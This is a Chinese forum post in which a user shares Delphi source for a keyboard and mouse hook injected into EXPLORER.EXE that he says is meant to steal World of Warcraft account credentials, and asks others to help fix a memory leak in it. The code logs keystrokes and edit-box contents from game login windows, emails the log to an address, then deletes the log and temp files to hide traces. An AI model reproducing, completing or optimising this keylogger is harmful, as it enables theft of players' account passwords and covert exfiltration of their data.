X
x_h168
Unregistered / Unconfirmed
GUEST, unregistred user!
以下是我自己写的一个监控盗取魔兽登陆帐户密码信息的钩子回调函数(省去了部分细节),程序运行注入到EXPLORER.EXE进程后工作还算正常,但问题是运行一段时间后系统会经常提示虚拟内存不足,我想这肯定是我的代码变量处理不够正常合理的原因,请哪位高手花点时间看下小弟的代码,给点提示和意见教小弟优化一下,不胜感激!<br><br><br>function HookRecordProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;<br>var<br> Kbs: TKeyboardState;<br> WChar:array[0..15] of char;<br> buffer1:array[0..256] of char;<br> FindHwnd,FindWindowStrHwnd,PID:Hwnd;<br> LogFile:TextFile;<br> NowEventMsg:string;<br> tempstr:string;<br>begin<br> SetLength(NowEventMsg, 0);<br> if (nCode = HC_ACTION) and ((PEventMsg(lParam).message = WM_KEYDOWN) or (PEventMsg(lParam).message =WM_LBUTTONDOWN) or (PEventMsg(lParam).message =WM_RBUTTONDOWN)) then //响应为键盘和鼠标动作<br> begin<br> FindHwnd:=GetForegroundWindow();<br> GetWindowThreadProcessId(FindHwnd, @PID); <br> Getwindowtext(FindHwnd, Buffer1,SizeOf(Buffer1)); //取得窗体的名称 <br> if (HookProgramPath<>FindPath(PID)) then<br> begin<br> if not FileExists(GetWindowsDirectory+HookSaveFile)then<br> begin<br> AssignFile(LogFile,GetWindowsDirectory+HookSaveFile);<br> ReWrite(LogFile);<br> Append(LogFile);<br> WriteLn(LogFile,'主机:'+ GetComputerNameString+':'+LocalIP +#13#10);<br> CloseFile(LogFile);<br> end;<br> AssignFile(LogFile,GetWindowsDirectory+HookSaveFile);<br> Append(LogFile);<br> HookString:=HookString+#13#10;<br> if NowWindowStr<>'' then HookString:=HookString+'窗口信息:'+NowWindowStr+#13#10;<br> SetLength(NowWindowStr, 0);<br> WriteLn(LogFile,HookString);<br> CloseFile(LogFile);<br> HookString:='';<br> HookProgramPath:='';<br> end;<br><br> HookFormTitle:=Buffer1;<br> HookProgramPath:=FindPath(PID); //把新的程序路径放进HookProgramPath<br> HookString:='窗口标题:'+HookFormTitle + #13#10 + '操作记录:';<br><br> if (PEventMsg(lParam).message = WM_KEYDOWN) then //键盘反应<br> begin<br> GetKeyboardState(Kbs); // 取键盘状态<br> ToAscii(PEventMsg(lParam).paramL, PEventMsg(lparam).paramH, Kbs, WChar, 0); //键码转换<br> if (WChar[0]=#9) then NowEventMsg:='[TAB]'<br> else if (WChar[0]=#8) then NowEventMsg:='[BackSpace]'<br> else if (WChar[0]=#27) then NowEventMsg:='[Esc]'<br> else if (WChar[0]=#13) then NowEventMsg:='[Enter]' // 回车补#10<br> else if (WChar[0]<>'') then NowEventMsg:=WChar[0];<br> if (ToAscii(PEventMsg(lParam).paramL, PEventMsg(lparam).paramH, Kbs, WChar, 0)<>1) then NowEventMsg:=KeyResult(Peventmsg(lparam)^.paramL,Peventmsg(lparam)^.paramH); ////键盘控制键处理<br> end;<br> SetLength(NowEventMsg, Length(NowEventMsg));<br> if AnsiContainsText(HookFormTitle,'魔兽世界') then<br> begin<br> HookString:=HookString+NowEventMsg; //增加操作记录<br> SetLength(NowWindowStr, 0);<br> FindWindowStrHwnd:= FindWindowEx(FindHwnd, 0, nil, nil); //查找列出所有控件信息<br> while(FindWindowStrHwnd<>0) do<br> begin<br> GetClassName(FindWindowStrHwnd, Buffer1,SizeOf(Buffer1));<br> if AnsiContainsText(Buffer1,'ComboBox') or AnsiContainsText(Buffer1,'Edit') then<br> begin<br> if GetEditText(FindWindowStrHwnd)<>'' then NowWindowStr:=NowWindowStr+GetEditText(FindWindowStrHwnd)+'|';<br> end;<br> FindWindowStrHwnd:= FindWindowEx(FindHwnd,FindWindowStrHwnd, nil, nil);<br> end;<br> SetLength(NowWindowStr,length(NowWindowStr));<br> end;<br><br> //发送监控记录<br> tempstr:='';<br> HookString:='';<br> assignfile(LogFile,GetWindowsDirectory+HookSaveFile);<br> reset(LogFile);<br> while not eof(LogFile) do<br> begin<br> if (not eof(LogFile)) then<br> begin<br> HookString:=HookString+tempstr+#13#10;<br> end;<br> readln(LogFile,tempstr);<br> end;<br> closefile(LogFile);<br> if InternetConnected and IsEMail('TMAIL') then<br> begin<br> SendEMail(TMAIL,HookString);<br> DeleteFile(GetWindowsDirectory+HookSaveFile);<br> RemoveDirFiles(GetWindowsDirectory+'temp');<br> end;<br> //清空信息重新记录<br> tempstr:='';<br> HookString:='';<br><br> end;<br> // 传给下一个钩子处理, 并且返回它的返回值<br> Result := CallNextHookEx(HookKeyRecord, nCode, wParam, lParam);<br>end;